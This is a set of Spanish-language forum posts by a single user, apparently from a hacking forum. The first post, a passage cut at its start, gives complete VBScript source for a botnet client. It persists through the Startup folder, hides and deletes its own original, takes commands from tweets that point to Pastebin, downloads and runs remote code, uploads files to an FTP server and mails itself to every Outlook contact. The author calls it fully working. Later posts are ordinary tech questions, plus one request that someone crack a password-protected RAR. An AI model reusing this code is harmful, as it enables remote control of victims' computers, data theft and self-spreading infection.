2do: Crear un pastebin con las ordenes a hacer.
3ro: Twittear SOLO la url de pastebin.
Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234
4to: Esperar y disfrutar XD.

El codigo, lo que esperaban:

Código (vb) [Seleccionar] Expandir

on error resume next
Dim Orders
Dim MyFullPath: MyFullPath = WScript.ScriptFullName
Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
Dim MyName: MyName = WScript.ScriptName
Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
'FTP
   Dim FTPData
   Dim FTPCOMPLETE
   Dim W1
   Dim W2
'/FTP

Main
Sub Main()
   If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
       CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
       CopyToStartUP MyPath , MyName
       Hidefile "STARTUP", MyName
       ExecuteFile "STARTUP", MyName
       Melt
       WScript.Quit (1)
   End If
   Do
       DoOrders "[%]"
       For x = 0 To 200
           WScript.Sleep 10000
       Next
   Loop
End Sub
Sub DoOrders(OrdSeparator)
   GetOrders
   For x = 0 To UBound(Orders)
       Ord = Split(Orders(x), OrdSeparator)
       Select Case Ord(0)
           Case "nord"
               Exit For
           Case "down" 'Download VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
           Case "xcec" 'Execute
               ExecuteFile Ord(1), Ord(2)
           Case "dwne" 'Download and Execute VBS
               DownloadVBS Ord(1), Ord(2), Ord(3)
               ExecuteFile Ord(2), Ord(3)
           Case "copy" 'Copy
               FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
           Case "supr" 'Delete
               DeleteFile Ord(1), Ord(2)
           Case "hide" 'Hide
               HideFile Ord(1), Ord(2)
           Case "melt" 'Melt
               Melt
           Case "ftpu" 'Upload to FTP
               Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
               Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
               Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
               Set W1 = Nothing
               Set W2 = Nothing
           Case "msgb" 'MsgBox
               Msgbox Ord(1)
           Case "clos" 'Close
        WScript.Quit (1)
       End Select
   Next
End Sub
Function LastOrderDone()
   LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
End Function
Sub ExecuteFile(SPath, SFile)
   CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
End Sub
Sub FileCopy(Spath, SFile, Spath2, SFile2)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
End Sub
Sub Melt()
   DeleteFile "FULLPATHONFILENAME", MyFullPath
End Sub
Sub DeleteFile(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
End Sub
Sub DownloadVBS(Z, SPath, SFile)
   Set xhttp = CreateObject("Microsoft.XmlHttp")
   xhttp.open "GET", Z, False
   xhttp.send ""
   Z = xhttp.responseText
   If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
   CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
   Set xhttp = Nothing
   Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
   WScript.Sleep 500
   Loop
End Sub
Function ConvertPath(SPath, SFile)
   If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
   If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
   If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
   ConvertPath = SPath & "\" & SFile
End Function
Sub GetOrders()
   Orders = Split("nord nord")
   Dim Orden
   Dim xhttp
   Dim y
   Dim URLPASTEBIN
   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
http.send
y = split(http.responsetext,"<text>")
If ubound(y)>0 then
msgbox y(1)
URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
msgbox urlpastebin
End if
      Set xhttp = CreateObject("Microsoft.XmlHttp")
      If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
      xhttp.open "GET", URLPASTEBIN, False
      xhttp.send ""
      Z = LCase(xhttp.responseText)
      Set xhttp = Nothing
      Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
      Orders = Split(Z, vbNewLine)
End Sub
Sub HideFile(SPath, SFile)
   CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
End Sub
Sub CopyToStartUP(SPath, SFile)
   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
End Sub
Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
   W1.RemoteHost = FTPServer
   W1.RemotePort = FTPPort
   W1.Connect
   If WaitResponse Then Exit Function
   If FTPCODE <> 220 Then Exit Function
       FTPData = ""
       W1.SendData "USER " & FTPUser & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 331 Then Exit Function
       FTPData = ""
       W1.SendData "PASS " & FTPPass & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 230 Then Exit Function
       FTPData = ""
       W1.SendData "PASV" & vbCrLf
       If WaitResponse Then Exit Function
   If FTPCODE <> 227 Then Exit Function
       Dim Aux
       Aux = Split(FTPData, ",")
       FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
       FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
       FTPData = ""
       W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
       W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
       W2.Connect
       WaitResponse
   If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
       FTPUpload = Upload(ConvertPath(SPath, SFile))
End Function
Function Upload(FilePath)
   Dim UPFile
   Dim FileLen
   Dim TotalSent
   Dim a
   Set a = WScript.CreateObject("ADODB.Stream")
   a.open
   a.Type = 1
   a.LoadFromFile (FilePath)
   UPFile = a.Read()
   FTPCOMPLETE = False
   W2.SendData UPFile
   EsperaSubida = 0
   Do
       WScript.Sleep 1000
       EsperaSubida = EsperaSubida + 1
       If SendIsComplete = 1 Then Upload = True: Exit Function
       If EsperaSubida > 300 Then Exit Function
   Loop
End Function
Sub W1_DataArrival(ByVal bytesTotal)
   W1.GetData FTPData, 8
End Sub
Function SendIsComplete()
   SendIsComplete = FTPCOMPLETE
End Function
Sub w2_SendComplete()
   FTPCOMPLETE = 1
End Sub
Function WaitResponse()
   Espera = 0
   Do
       WScript.Sleep 1000
       Espera = Espera + 1
       If Espera > 10 Then WaitResponse = 1: Exit Function
       If FTPCODE <> 0 Then Exit Function
   Loop
End Function
Function FTPCODE()
   If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
End Function
Function uncif(Tweet)
   Tweet = Replace(Tweet, Chr(32), vbNullString)
   Movex = Left(Tweet, 1)
   For x = 2 To Len(Tweet)
       uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
   Next
End Function
Function CheckOrder(expression)
Dim EscOrd
  if instr(expression, "/") then
  Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
  Aux = EscOrd.ReadAll
  Dim Aux2
  Set EscOrd = Nothing
  Aux2 = Split(Aux,VbNewLine)
  For x = 0 to ubound(aux2)
     If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
  Next
  set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
  EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
  EscOrd.Close
  Set EscOrd = Nothing
  CheckOrder = 1
  end if
End Function
Sub SpreadOutLook(Message,Subject,SPath, SFile)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
   If Contacts.Items.Item(x).Email1Address <> "" Then
       Set Email = CreateObject("Outlook.Application").CreateItem(0)
       Email.To = Contacts.Items.Item(x).Email1Address
       Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.ReadReceiptRequested = False
       Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
       Email.Attachments.Add ConvertPath(SPath, SFile)
       Email.Send
   End If
next
End Sub

Nota: Mi version obviamente no es esa, usa encriptacion y otro sistema de tweets pero esa que deje es funcional al 100%.

GRACIAS POR LEER!!!

HOLA!!!

Nota, estoy trabajando sobre este equipo

Ayer yo re contento con el logro de la netbox se me ocurre reiniciarla...

Cuestion enciende todo bien pero con la pantalla negra, una ves iniciado el sistema no carga la parte grafica...

Lo que hice fue apretar CTRL ALT F1 para que me traiga una terminal y puse a hostear una VNC para ver si era problema de la conf del monitor o de que no iniciaba el escritorio para mi solo.

Lo que paso fue que el de forma "local" no la puedo usar, pero por medio de la VNC veo el escritorio (de la vnc) y tengo acceso a la pc.

Alguien tiene idea que puede haber pasado?

Lo que hice con la NetBox es lo siguiente (lo estoy anotando para "automatizarlo y no pensar tanto en un futuro XD):

Código [Seleccionar] Expandir

    Sacar disco rigido de la NetBox.
    Ponerlo en otra PC con Compactera.
    Instalar knoppix 7 en la PC.
    Volver a colocar el disco en la NetBox.
    Abrir terminal y obtener acceso root "su".
    Instalar DropBox Google Translate http://shiremono.com/?p=2996 *opcional
    Convertir Knoppix a Debian Unstable http://www.devshed.com/c/a/BrainDump/Install-Linux-with-Knoppix/4/
    Instalar Ninja-Ide "apt-get install ninja-ide" *opcional
    Instalar Open-CV "apt-get install libcv-dev libcvaux-dev libhighgui-dev libcv2.* libhighgui2.* libcvaux2.* opencv-doc"
    Instalar ZoneMinder "apt-get install zoneminder"

Cuando inicio me quedan 2 errores impresos en la terminal no se si tendra que ver pero los transcribo:

Código [Seleccionar] Expandir

   add_watch(6, /dev/cloop2, 10) failed: no such file or directory
   add_watch(6, /dev/zram0, 10) failed: no such file or directory


Despues de tenerla un tiempo prendida se me cayo la vnc fui a la PC y estaba mostrando un mensaje continuamente



Por si no pueden ver la foto Transcribo el contenido:

Código [Seleccionar] Expandir

Please try to reboot and give some Knoppix-Cheatcodes
at the initial boot:-prompt, which match your graphic adapter.
Examples:

   knoppix xmodule=radeon (or ati, nv, cirrus ...)
   knoppix xmodule=fbdev
   knoppix xmodule=vesa
   knoppix hsync=90 vsync=75

GRACIAS POR LEER!!!

HOLA!!!

Estoy buscando algun metodo para compartir el video en vivo de una webcam en internet con python , si es posible que sea accesible mediante equipos celulares.

Solo pido informacion al respecto, algun link o algo.

Estoy bastante perdido, no encuentro nada en google.

GRACIAS POR LEER!!!

HOLA!!!

Mi problema es el siguiente, tengo un archivo(word) comprimido en un rar con contraseña (la cual puede ir de 1 a 16 caracteres alfanumericos y upper and lower case) intente "crackear" la password pero el proceso dice que tardara mas de 10 años.

El rar es formato 2.9  quisiera saber si alguno me puede extraer el archivo, no tengo ninguna pc potente que pueda hacer el trabajo duro, talves alguno se apiada .

alguien puede?

http://www.mediafire.com/?xif6nfgeu87it2h

GRACIAS POR LEER!!!

HOLA!!!

Quisiera saber si alguno conoce algun buen DE tipo w$ 98/me/2000 si es posible que siga el soporte y el desarrollo.

Se que preguntar esto en este foro es como entrar a la CIA vestido de Irani con 2 reenes y una bomba.

Pero eso es lo que busco si saben me dicen?

GRACIAS POR LEER!!!

HOLA!!!

Bueno resulta que estaba programando una aplicacion que se pueda manejar desde el escritorio como desde la web, el problema es que cuando ejecuto el webbrowser el script principal no se sigue ejecutando.

Las lineas que quiero que se ejecute es:
"        print "se inicio?"" de main.py

Y como una nota por si quieren probar como funciona tienen que colocarlo en este arbol de carpetas:

Carpeta Raiz:
· main.py
· webserver.py
· Carpeta WEB:
·  · Index.html

Aqui las fuentes:
https://gist.github.com/3176646

GRACIAS POR LEER!!!

HOLA!!!

Como sabran estoy desarrollando aplicaciones para el uso del foro, la ultima fue:
Notificador de mensajes nuevos del foro! por 79137913

Y ahora un programa inspirado en uno viejo que se perdio hecho por vanhan.

Screenshot!


Descarga:
http://www.mediafire.com/?j7i8tiskd5yk19o


P.D: Sugerencias y mejoras escucho.

GRACIAS POR LEER!!!

HOLA!!!

Aqui concluye mi "triple" post.

Arme un programa para que me avise cuando hay nuevos temas en el foro, creo que esto le puede ser util a muchos.

Link aqui:
http://foro.elhacker.net/software/notificador_de_temas_nuevos_del_foro_por_79137913-t365382.0.html

GRACIAS POR LEER!!!

HOLA!!!

Arme un programa para que me avise cuando hay nuevos temas en el foro, creo que esto le puede ser util a muchos.

Link aqui:
http://foro.elhacker.net/software/notificador_de_temas_nuevos_del_foro_por_79137913-t365382.0.html

GRACIAS POR LEER!!!

[LLEGO LA VERSION 3!]

HOLA!!!

Debido al Exito obtenido:
LLEGO LA VERSION 3!


Lo que hace es busca cada X tiempo los mensajes nuevos del foro y si hay alguno nuevo te notifica mediante un popside (popup).

Panel de control:



Explicacion del panel de control:
Boton 1: Cambia la tasa de refresco (cada cuanto tiempo le pregunta al server si cambio algo).
Boton 2: Activa o Desactiva las Notificaciones.
Boton 3: Activa o Desactiva la opcion para que la ventana inicial se minimice al inicio.
Boton 4: Ajusta el tiempo que quedan visibles los PopSides (popups)
Boton 5: Aqui podras seleccionar cuales son los subforos que te interesan asi no te llegan notificaciones de los otros.
Boton 6: Ubica las notificaciones de abajo para arriba o de arriba para abajo.
Boton 7: Te avisa cuando un user se conecta en el foro.
Boton 8: Te avisa cuando un user postea o se hace un post con X palabras claves.
Boton 9: Para no recibir notificaciones de un usuario indeseable  .

Otras Cosas que no estan en los botones:
La ventana principal se puede mover y ademas se guarda donde queda al cerrarse.
No tengo mas ganas de escribir ni de acordarme pero habia mas XD.

Descargar:
http://ns2.elhacker.net/Notificador foro 3.rar

Acerca de:


GRACIAS POR LEER!!!

HOLA!!!

Chicos, acaban de cambiar la interfaz del foro, quiero la vieja, esta no me gusta

GRACIAS POR LEER!!!

HOLA!!!

Muchas veces estoy descargando algo y cierro el FF por error lo cual borra el archivo que estaba bajando pero no siempre el archivo.part .

He logrado un par de veces recuperar las descargas mediante abrir y cerrar el FF e iniciando nuevamente la descarga... en el momento que se crea el nuevo archivo.part ahi lo sobre escribo con el viejo y a veces anda.

En fin hay algun metodo efecivo para lograr esto... por que yo cuando lo hago confio en el azar sinceramente.

GRACIAS POR LEER!!!

HOLA!!!

Chicos, hace mucho que no se sortean direcciones de E-Mail, no hay mas concursos ni nada que pasa?

GRACIAS POR LEER!!!

HOLA!!!

La idea es la siguiente...

Yo en un form tengo un PictureBox y quiero llenarlo con el contenido (Picture y controles) de un frame o un picturebox en otro form.

Ejemplo:

En el form1:
Picture1
cmd1
cmd2

En el form2:
PictureOFrame1
PictureOFrame2


En el click de cmd1 que cargue los controles de PictureOFrame1 en Picture1
En el click de cmd2 que cargue los controles de PictureOFrame2 en Picture1

Obviamente que lo que yo cambie dentro de Picture1 que se cambie en PictureOFrame1/2.

GRACIAS POR LEER!!!